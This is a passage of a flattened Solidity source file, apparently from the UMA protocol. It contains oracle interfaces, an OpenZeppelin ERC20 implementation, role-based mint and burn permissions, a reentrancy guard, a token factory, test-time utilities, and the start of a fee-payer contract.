*/
function mint(address to, uint256 value) external virtual returns (bool);
}
// File: contracts/oracle/interfaces/OracleInterface.sol
pragma solidity ^0.6.0;
/**
* @title Financial contract facing Oracle interface.
* @dev Interface used by financial contracts to interact with the Oracle. Voters will use a different interface.
*/
interface OracleInterface {
/**
* @notice Enqueues a request (if a request isn't already present) for the given `identifier`, `time` pair.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
*/
function requestPrice(bytes32 identifier, uint256 time) external;
/**
* @notice Whether the price for `identifier` and `time` is available.
* @dev Time must be in the past and the identifier must be supported.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @return bool if the DVM has resolved to a price for the given identifier and timestamp.
*/
function hasPrice(bytes32 identifier, uint256 time) external view returns (bool);
/**
* @notice Gets the price for `identifier` and `time` if it has already been requested and resolved.
* @dev If the price is not available, the method reverts.
* @param identifier uniquely identifies the price requested. eg BTC/USD (encoded as bytes32) could be requested.
* @param time unix timestamp for the price request.
* @return int256 representing the resolved price for the given identifier and timestamp.
*/
function getPrice(bytes32 identifier, uint256 time) external view returns (int256);
}
// File: contracts/oracle/interfaces/IdentifierWhitelistInterface.sol
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
/**
* @title Interface for whitelists of supported identifiers that the oracle can provide prices for.
*/
interface IdentifierWhitelistInterface {
/**
* @notice Adds the provided identifier as a supported identifier.
* @dev Price requests using this identifier will succeed after this call.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
*/
function addSupportedIdentifier(bytes32 identifier) external;
/**
* @notice Removes the identifier from the whitelist.
* @dev Price requests using this identifier will no longer succeed after this call.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
*/
function removeSupportedIdentifier(bytes32 identifier) external;
/**
* @notice Checks whether an identifier is on the whitelist.
* @param identifier bytes32 encoding of the string identifier. Eg: BTC/USD.
* @return bool if the identifier is supported (or not).
*/
function isIdentifierSupported(bytes32 identifier) external view returns (bool);
}
// File: contracts/oracle/interfaces/AdministrateeInterface.sol
pragma solidity ^0.6.0;
/**
* @title Interface that all financial contracts expose to the admin.
*/
interface AdministrateeInterface {
/**
* @notice Initiates the shutdown process, in case of an emergency.
*/
function emergencyShutdown() external;
/**
* @notice A core contract method called independently or as a part of other financial contract transactions.
* @dev It pays fees and moves money between margin accounts to make sure they reflect the NAV of the contract.
*/
function remargin() external;
}
// File: contracts/oracle/implementation/Constants.sol
pragma solidity ^0.6.0;
/**
* @title Stores common interface names used throughout the DVM by registration in the Finder.
*/
library OracleInterfaces {
bytes32 public constant Oracle = "Oracle";
bytes32 public constant IdentifierWhitelist = "IdentifierWhitelist";
bytes32 public constant Store = "Store";
bytes32 public constant FinancialContractsAdmin = "FinancialContractsAdmin";
bytes32 public constant Registry = "Registry";
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/common/implementation/MultiRole.sol
pragma solidity ^0.6.0;
library Exclusive {
struct RoleMembership {
address member;
}
function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) {
return roleMembership.member == memberToCheck;
}
function resetMember(RoleMembership storage roleMembership, address newMember) internal {
require(newMember != address(0x0), "Cannot set an exclusive role to 0x0");
roleMembership.member = newMember;
}
function getMember(RoleMembership storage roleMembership) internal view returns (address) {
return roleMembership.member;
}
function init(RoleMembership storage roleMembership, address initialMember) internal {
resetMember(roleMembership, initialMember);
}
}
library Shared {
struct RoleMembership {
mapping(address => bool) members;
}
function isMember(RoleMembership storage roleMembership, address memberToCheck) internal view returns (bool) {
return roleMembership.members[memberToCheck];
}
function addMember(RoleMembership storage roleMembership, address memberToAdd) internal {
require(memberToAdd != address(0x0), "Cannot add 0x0 to a shared role");
roleMembership.members[memberToAdd] = true;
}
function removeMember(RoleMembership storage roleMembership, address memberToRemove) internal {
roleMembership.members[memberToRemove] = false;
}
function init(RoleMembership storage roleMembership, address[] memory initialMembers) internal {
for (uint256 i = 0; i < initialMembers.length; i++) {
addMember(roleMembership, initialMembers[i]);
}
}
}
/**
* @title Base class to manage permissions for the derived class.
*/
abstract contract MultiRole {
using Exclusive for Exclusive.RoleMembership;
using Shared for Shared.RoleMembership;
enum RoleType { Invalid, Exclusive, Shared }
struct Role {
uint256 managingRole;
RoleType roleType;
Exclusive.RoleMembership exclusiveRoleMembership;
Shared.RoleMembership sharedRoleMembership;
}
mapping(uint256 => Role) private roles;
event ResetExclusiveMember(uint256 indexed roleId, address indexed newMember, address indexed manager);
event AddedSharedMember(uint256 indexed roleId, address indexed newMember, address indexed manager);
event RemovedSharedMember(uint256 indexed roleId, address indexed oldMember, address indexed manager);
/**
* @notice Reverts unless the caller is a member of the specified roleId.
*/
modifier onlyRoleHolder(uint256 roleId) {
require(holdsRole(roleId, msg.sender), "Sender does not hold required role");
_;
}
/**
* @notice Reverts unless the caller is a member of the manager role for the specified roleId.
*/
modifier onlyRoleManager(uint256 roleId) {
require(holdsRole(roles[roleId].managingRole, msg.sender), "Can only be called by a role manager");
_;
}
/**
* @notice Reverts unless the roleId represents an initialized, exclusive roleId.
*/
modifier onlyExclusive(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Exclusive, "Must be called on an initialized Exclusive role");
_;
}
/**
* @notice Reverts unless the roleId represents an initialized, shared roleId.
*/
modifier onlyShared(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Shared, "Must be called on an initialized Shared role");
_;
}
/**
* @notice Whether `memberToCheck` is a member of roleId.
* @dev Reverts if roleId does not correspond to an initialized role.
* @param roleId the Role to check.
* @param memberToCheck the address to check.
* @return True if `memberToCheck` is a member of `roleId`.
*/
function holdsRole(uint256 roleId, address memberToCheck) public view returns (bool) {
Role storage role = roles[roleId];
if (role.roleType == RoleType.Exclusive) {
return role.exclusiveRoleMembership.isMember(memberToCheck);
} else if (role.roleType == RoleType.Shared) {
return role.sharedRoleMembership.isMember(memberToCheck);
}
revert("Invalid roleId");
}
/**
* @notice Changes the exclusive role holder of `roleId` to `newMember`.
* @dev Reverts if the caller is not a member of the managing role for `roleId` or if `roleId` is not an
* initialized, ExclusiveRole.
* @param roleId the ExclusiveRole membership to modify.
* @param newMember the new ExclusiveRole member.
*/
function resetMember(uint256 roleId, address newMember) public onlyExclusive(roleId) onlyRoleManager(roleId) {
roles[roleId].exclusiveRoleMembership.resetMember(newMember);
emit ResetExclusiveMember(roleId, newMember, msg.sender);
}
/**
* @notice Gets the current holder of the exclusive role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, exclusive role.
* @param roleId the ExclusiveRole membership to check.
* @return the address of the current ExclusiveRole member.
*/
function getMember(uint256 roleId) public view onlyExclusive(roleId) returns (address) {
return roles[roleId].exclusiveRoleMembership.getMember();
}
/**
* @notice Adds `newMember` to the shared role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the
* managing role for `roleId`.
* @param roleId the SharedRole membership to modify.
* @param newMember the new SharedRole member.
*/
function addMember(uint256 roleId, address newMember) public onlyShared(roleId) onlyRoleManager(roleId) {
roles[roleId].sharedRoleMembership.addMember(newMember);
emit AddedSharedMember(roleId, newMember, msg.sender);
}
/**
* @notice Removes `memberToRemove` from the shared role, `roleId`.
* @dev Reverts if `roleId` does not represent an initialized, SharedRole or if the caller is not a member of the
* managing role for `roleId`.
* @param roleId the SharedRole membership to modify.
* @param memberToRemove the current SharedRole member to remove.
*/
function removeMember(uint256 roleId, address memberToRemove) public onlyShared(roleId) onlyRoleManager(roleId) {
roles[roleId].sharedRoleMembership.removeMember(memberToRemove);
emit RemovedSharedMember(roleId, memberToRemove, msg.sender);
}
/**
* @notice Removes caller from the role, `roleId`.
* @dev Reverts if the caller is not a member of the role for `roleId` or if `roleId` is not an
* initialized, SharedRole.
* @param roleId the SharedRole membership to modify.
*/
function renounceMembership(uint256 roleId) public onlyShared(roleId) onlyRoleHolder(roleId) {
roles[roleId].sharedRoleMembership.removeMember(msg.sender);
emit RemovedSharedMember(roleId, msg.sender, msg.sender);
}
/**
* @notice Reverts if `roleId` is not initialized.
*/
modifier onlyValidRole(uint256 roleId) {
require(roles[roleId].roleType != RoleType.Invalid, "Attempted to use an invalid roleId");
_;
}
/**
* @notice Reverts if `roleId` is initialized.
*/
modifier onlyInvalidRole(uint256 roleId) {
require(roles[roleId].roleType == RoleType.Invalid, "Cannot use a pre-existing role");
_;
}
/**
* @notice Internal method to initialize a shared role, `roleId`, which will be managed by `managingRoleId`.
* `initialMembers` will be immediately added to the role.
* @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already
* initialized.
*/
function _createSharedRole(
uint256 roleId,
uint256 managingRoleId,
address[] memory initialMembers
) internal onlyInvalidRole(roleId) {
Role storage role = roles[roleId];
role.roleType = RoleType.Shared;
role.managingRole = managingRoleId;
role.sharedRoleMembership.init(initialMembers);
require(
roles[managingRoleId].roleType != RoleType.Invalid,
"Attempted to use an invalid role to manage a shared role"
);
}
/**
* @notice Internal method to initialize an exclusive role, `roleId`, which will be managed by `managingRoleId`.
* `initialMember` will be immediately added to the role.
* @dev Should be called by derived contracts, usually at construction time. Will revert if the role is already
* initialized.
*/
function _createExclusiveRole(
uint256 roleId,
uint256 managingRoleId,
address initialMember
) internal onlyInvalidRole(roleId) {
Role storage role = roles[roleId];
role.roleType = RoleType.Exclusive;
role.managingRole = managingRoleId;
role.exclusiveRoleMembership.init(initialMember);
require(
roles[managingRoleId].roleType != RoleType.Invalid,
"Attempted to use an invalid role to manage an exclusive role"
);
}
}
// File: contracts/common/implementation/ExpandedERC20.sol
pragma solidity ^0.6.0;
/**
* @title An ERC20 with permissioned burning and minting. The contract deployer will initially
* be the owner who is capable of adding new roles.
*/
contract ExpandedERC20 is ExpandedIERC20, ERC20, MultiRole {
enum Roles {
// Can set the minter and burner.
Owner,
// Addresses that can mint new tokens.
Minter,
// Addresses that can burn tokens that address owns.
Burner
}
/**
* @notice Constructs the ExpandedERC20.
* @param _tokenName The name which describes the new token.
* @param _tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param _tokenDecimals The number of decimals to define token precision.
*/
constructor(
string memory _tokenName,
string memory _tokenSymbol,
uint8 _tokenDecimals
) public ERC20(_tokenName, _tokenSymbol) {
_setupDecimals(_tokenDecimals);
_createExclusiveRole(uint256(Roles.Owner), uint256(Roles.Owner), msg.sender);
_createSharedRole(uint256(Roles.Minter), uint256(Roles.Owner), new address[](0));
_createSharedRole(uint256(Roles.Burner), uint256(Roles.Owner), new address[](0));
}
/**
* @dev Mints `value` tokens to `recipient`, returning true on success.
* @param recipient address to mint to.
* @param value amount of tokens to mint.
* @return True if the mint succeeded, or False.
*/
function mint(address recipient, uint256 value)
external
override
onlyRoleHolder(uint256(Roles.Minter))
returns (bool)
{
_mint(recipient, value);
return true;
}
/**
* @dev Burns `value` tokens owned by `msg.sender`.
* @param value amount of tokens to burn.
*/
function burn(uint256 value) external override onlyRoleHolder(uint256(Roles.Burner)) {
_burn(msg.sender, value);
}
}
// File: contracts/common/implementation/Lockable.sol
pragma solidity ^0.6.0;
/**
* @title A contract that provides modifiers to prevent reentrancy to state-changing and view-only methods. This contract
* is inspired by https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/ReentrancyGuard.sol
* and https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol.
*/
contract Lockable {
bool private _notEntered;
constructor() internal {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_preEntranceCheck();
_preEntranceSet();
_;
_postEntranceReset();
}
/**
* @dev Designed to prevent a view-only method from being re-entered during a call to a `nonReentrant()` state-changing method.
*/
modifier nonReentrantView() {
_preEntranceCheck();
_;
}
// Internal methods are used to avoid copying the require statement's bytecode to every `nonReentrant()` method.
// On entry into a function, `_preEntranceCheck()` should always be called to check if the function is being re-entered.
// Then, if the function modifies state, it should call `_postEntranceSet()`, perform its logic, and then call `_postEntranceReset()`.
// View-only methods can simply call `_preEntranceCheck()` to make sure that it is not being re-entered.
function _preEntranceCheck() internal view {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
}
function _preEntranceSet() internal {
// Any calls to nonReentrant after this point will fail
_notEntered = false;
}
function _postEntranceReset() internal {
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
}
// File: contracts/financial-templates/common/SyntheticToken.sol
pragma solidity ^0.6.0;
/**
* @title Burnable and mintable ERC20.
* @dev The contract deployer will initially be the only minter, burner and owner capable of adding new roles.
*/
contract SyntheticToken is ExpandedERC20, Lockable {
/**
* @notice Constructs the SyntheticToken.
* @param tokenName The name which describes the new token.
* @param tokenSymbol The ticker abbreviation of the name. Ideally < 5 chars.
* @param tokenDecimals The number of decimals to define token precision.
*/
constructor(
string memory tokenName,
string memory tokenSymbol,
uint8 tokenDecimals
) public ExpandedERC20(tokenName, tokenSymbol, tokenDecimals) nonReentrant() {}
/**
* @notice Add Minter role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Minter role is added.
*/
function addMinter(address account) external nonReentrant() {
addMember(uint256(Roles.Minter), account);
}
/**
* @notice Remove Minter role from account.
* @dev The caller must have the Owner role.
* @param account The address from which the Minter role is removed.
*/
function removeMinter(address account) external nonReentrant() {
removeMember(uint256(Roles.Minter), account);
}
/**
* @notice Add Burner role to account.
* @dev The caller must have the Owner role.
* @param account The address to which the Burner role is added.
*/
function addBurner(address account) external nonReentrant() {
addMember(uint256(Roles.Burner), account);
}
/**
* @notice Removes Burner role from account.
* @dev The caller must have the Owner role.
* @param account The address from which the Burner role is removed.
*/
function removeBurner(address account) external nonReentrant() {
removeMember(uint256(Roles.Burner), account);
}
/**
* @notice Reset Owner role to account.
* @dev The caller must have the Owner role.
* @param account The new holder of the Owner role.
*/
function resetOwner(address account) external nonReentrant() {
resetMember(uint256(Roles.Owner), account);
}
/**
* @notice Checks if a given account holds the Minter role.
* @param account The address which is checked for the Minter role.
* @return bool True if the provided account is a Minter.
*/
function isMinter(address account) public view nonReentrantView() returns (bool) {
return holdsRole(uint256(Roles.Minter), account);
}
/**
* @notice Checks if a given account holds the Burner role.
* @param account The address which is checked for the Burner role.
* @return bool True if the provided account is a Burner.
*/
function isBurner(address account) public view nonReentrantView() returns (bool) {
return holdsRole(uint256(Roles.Burner), account);
}
}
// File: contracts/financial-templates/common/TokenFactory.sol
pragma solidity ^0.6.0;
/**
* @title Factory for creating new mintable and burnable tokens.
*/
contract TokenFactory is Lockable {
/**
* @notice Create a new token and return it to the caller.
* @dev The caller will become the only minter and burner and the new owner capable of assigning the roles.
* @param tokenName used to describe the new token.
* @param tokenSymbol short ticker abbreviation of the name. Ideally < 5 chars.
* @param tokenDecimals used to define the precision used in the token's numerical representation.
* @return newToken an instance of the newly created token interface.
*/
function createToken(
string calldata tokenName,
string calldata tokenSymbol,
uint8 tokenDecimals
) external nonReentrant() returns (ExpandedIERC20 newToken) {
SyntheticToken mintableToken = new SyntheticToken(tokenName, tokenSymbol, tokenDecimals);
mintableToken.addMinter(msg.sender);
mintableToken.addBurner(msg.sender);
mintableToken.resetOwner(msg.sender);
newToken = ExpandedIERC20(address(mintableToken));
}
}
// File: contracts/common/implementation/Timer.sol
pragma solidity ^0.6.0;
/**
* @title Universal store of current contract time for testing environments.
*/
contract Timer {
uint256 private currentTime;
constructor() public {
currentTime = now; // solhint-disable-line not-rely-on-time
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set `currentTime` to.
*/
function setCurrentTime(uint256 time) external {
currentTime = time;
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint256 for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
return currentTime;
}
}
// File: contracts/common/implementation/Testable.sol
pragma solidity ^0.6.0;
/**
* @title Base class that provides time overrides, but only if being run in test mode.
*/
abstract contract Testable {
// If the contract is being run on the test network, then `timerAddress` will be the 0x0 address.
// Note: this variable should be set on construction and never modified.
address public timerAddress;
/**
* @notice Constructs the Testable contract. Called by child contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(address _timerAddress) internal {
timerAddress = _timerAddress;
}
/**
* @notice Reverts if not running in test mode.
*/
modifier onlyIfTest {
require(timerAddress != address(0x0));
_;
}
/**
* @notice Sets the current time.
* @dev Will revert if not running in test mode.
* @param time timestamp to set current Testable time to.
*/
function setCurrentTime(uint256 time) external onlyIfTest {
Timer(timerAddress).setCurrentTime(time);
}
/**
* @notice Gets the current time. Will return the last time set in `setCurrentTime` if running in test mode.
* Otherwise, it will return the block timestamp.
* @return uint for the current Testable timestamp.
*/
function getCurrentTime() public view returns (uint256) {
if (timerAddress != address(0x0)) {
return Timer(timerAddress).getCurrentTime();
} else {
return now; // solhint-disable-line not-rely-on-time
}
}
}
// File: contracts/oracle/interfaces/StoreInterface.sol
pragma solidity ^0.6.0;
/**
* @title Interface that allows financial contracts to pay oracle fees for their use of the system.
*/
interface StoreInterface {
/**
* @notice Pays Oracle fees in ETH to the store.
* @dev To be used by contracts whose margin currency is ETH.
*/
function payOracleFees() external payable;
/**
* @notice Pays oracle fees in the margin currency, erc20Address, to the store.
* @dev To be used if the margin currency is an ERC20 token rather than ETH.
* @param erc20Address address of the ERC20 token used to pay the fee.
* @param amount number of tokens to transfer. An approval for at least this amount must exist.
*/
function payOracleFeesErc20(address erc20Address, FixedPoint.Unsigned calldata amount) external;
/**
* @notice Computes the regular oracle fees that a contract should pay for a period.
* @param startTime defines the beginning time from which the fee is paid.
* @param endTime end time until which the fee is paid.
* @param pfc "profit from corruption", or the maximum amount of margin currency that a
* token sponsor could extract from the contract through corrupting the price feed in their favor.
* @return regularFee amount owed for the duration from start to end time for the given pfc.
* @return latePenalty for paying the fee after the deadline.
*/
function computeRegularFee(
uint256 startTime,
uint256 endTime,
FixedPoint.Unsigned calldata pfc
) external view returns (FixedPoint.Unsigned memory regularFee, FixedPoint.Unsigned memory latePenalty);
/**
* @notice Computes the final oracle fees that a contract should pay at settlement.
* @param currency token used to pay the final fee.
* @return finalFee amount due.
*/
function computeFinalFee(address currency) external view returns (FixedPoint.Unsigned memory);
}
// File: contracts/oracle/interfaces/FinderInterface.sol
pragma solidity ^0.6.0;
/**
* @title Provides addresses of the live contracts implementing certain interfaces.
* @dev Examples are the Oracle or Store interfaces.
*/
interface FinderInterface {
/**
* @notice Updates the address of the contract that implements `interfaceName`.
* @param interfaceName bytes32 encoding of the interface name that is either changed or registered.
* @param implementationAddress address of the deployed contract that implements the interface.
*/
function changeImplementationAddress(bytes32 interfaceName, address implementationAddress) external;
/**
* @notice Gets the address of the contract that implements the given `interfaceName`.
* @param interfaceName queried interface.
* @return implementationAddress address of the deployed contract that implements the interface.
*/
function getImplementationAddress(bytes32 interfaceName) external view returns (address);
}
// File: contracts/financial-templates/common/FeePayer.sol
pragma solidity ^0.6.0;
/**
* @title FeePayer contract.
* @notice Provides fee payment functionality for the ExpiringMultiParty contract.
* contract is abstract as each derived contract that inherits `FeePayer` must implement `pfc()`.
*/
abstract contract FeePayer is Testable, Lockable {
using SafeMath for uint256;
using FixedPoint for FixedPoint.Unsigned;
using SafeERC20 for IERC20;
/****************************************
* FEE PAYER DATA STRUCTURES *
****************************************/
// The collateral currency used to back the positions in this contract.
IERC20 public collateralCurrency;
// Finder contract used to look up addresses for UMA system contracts.
FinderInterface public finder;
// Tracks the last block time when the fees were paid.
uint256 private lastPaymentTime;
// Tracks the cumulative fees that have been paid by the contract for use by derived contracts.
// The multiplier starts at 1, and is updated by computing cumulativeFeeMultiplier * (1 - effectiveFee).
// Put another way, the cumulativeFeeMultiplier is (1 - effectiveFee1) * (1 - effectiveFee2) ...
// For example:
// The cumulativeFeeMultiplier should start at 1.
// If a 1% fee is charged, the multiplier should update to .99.
// If another 1% fee is charged, the multiplier should be 0.99^2 (0.9801).
FixedPoint.Unsigned public cumulativeFeeMultiplier;
/****************************************
* EVENTS *
****************************************/
event RegularFeesPaid(uint256 indexed regularFee, uint256 indexed lateFee);
event FinalFeesPaid(uint256 indexed amount);
/****************************************
* MODIFIERS *
****************************************/
// modifier that calls payRegularFees().
modifier fees {
payRegularFees();
_;
}
/**
* @notice Constructs the FeePayer contract. Called by child contracts.
* @param _collateralAddress ERC20 token that is used as the underlying collateral for the synthetic.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _timerAddress Contract that stores the current time in a testing environment.
* Must be set to 0x0 for production environments that use live time.
*/
constructor(
address _collateralAddress,
address _finderAddress,
address _timerAddress
) public Testable(_timerAddress) nonReentrant() {
collateralCurrency = IERC20(_collateralAddress);
finder = FinderInterface(_finderAddress);
lastPaymentTime = getCurrentTime();
cumulativeFeeMultiplier = FixedPoint.fromUnscaledUint(1);
}
/****************************************
* FEE PAYMENT FUNCTIONS *
****************************************/
/**
* @notice Pays UMA DVM regular fees (as a % of the collateral pool) to the Store contract.
* @dev These must be paid periodically for the life of the contract. If the contract has not paid its regular fee
* in a week or more then a late penalty is applied which is sent to the caller. If the amount of
* fees owed are greater than the pfc, then this will pay as much as possible from the available collateral.
* An event is only fired if the fees charged are greater than 0.
